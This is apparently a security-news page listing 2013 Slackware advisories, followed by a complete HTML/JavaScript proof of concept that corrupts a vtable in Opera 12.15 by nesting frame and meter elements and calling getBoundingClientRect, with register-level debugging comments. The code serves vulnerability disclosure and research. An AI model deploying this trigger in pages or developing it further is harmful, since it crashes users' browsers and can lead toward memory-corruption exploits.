Security Bulletins

2013-10-18 - [slackware-security] hplip (SSA:2013-291-01)

10/19/2013

2013-10-18 - [slackware-security] libtiff (SSA:2013-290-01)

10/18/2013

2013-10-14 - [slackware-security] xorg-server (SSA:2013-287-05)

10/15/2013

2013-10-14 - [slackware-security] libgpg-error (SSA:2013-287-04)

10/15/2013

2013-10-14 - [slackware-security] gnutls (SSA:2013-287-03)

10/15/2013

Latest Malware Updates

Opera 12.15 vtable Corruption

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Download</title>
</head>
<body>
<iframe id="wnd"></iframe>
<script type="text/javascript" language="JavaScript">

/*
   Title: Opera 12.15 vTable Corruption
   Author: echo
   Test: Windows 7 x64
   Version: Opera 12.15 Win32
   Link: www.opera.com
*/

  var wnd = document.getElementById("wnd");
      wnd = wnd.contentWindow;

  function d00m()
  {
               var tag   = [];
               tag.push(document.createElement("frame"));
               tag.push(document.createElement("meter"));

               wnd.document.body.appendChild(tag[0]);
               wnd.document.body.appendChild(tag[1]);

               /* step 1*/
               var obj   = tag[1];

               var obj_1 = tag[0];

               try{ obj_1.appendChild(obj); }catch(b){}
                                                                /* eax = [esi + 14h] = this->unknow20 */
               try{ obj_1.getBoundingClientRect(); }catch(a){}  /* ecx = [eax + 14h] = this->unknow20->unknow20 */
                                                                /* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */
               /* step 2*/
               var obj   = tag[0];

               var obj_1 = tag[1];

               try{ obj_1.appendChild(obj); }catch(b){}

               try{ obj_1.getBoundingClientRect();}catch(a){}   /* eax = [esi + 14h] = this->unknow20 */
                                                                /* ecx = [eax + 14h] = this->unknow20->unknow20 */
    }                                                           /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */

    d00m();

    /* so we have here some kind of memory corruption */
    /* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */
    /* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/
    /* logically next step should be checking why the vtable in "step 2" is corrupted */
    /* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */
    /* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */



   </script>
   
  </body>
</html>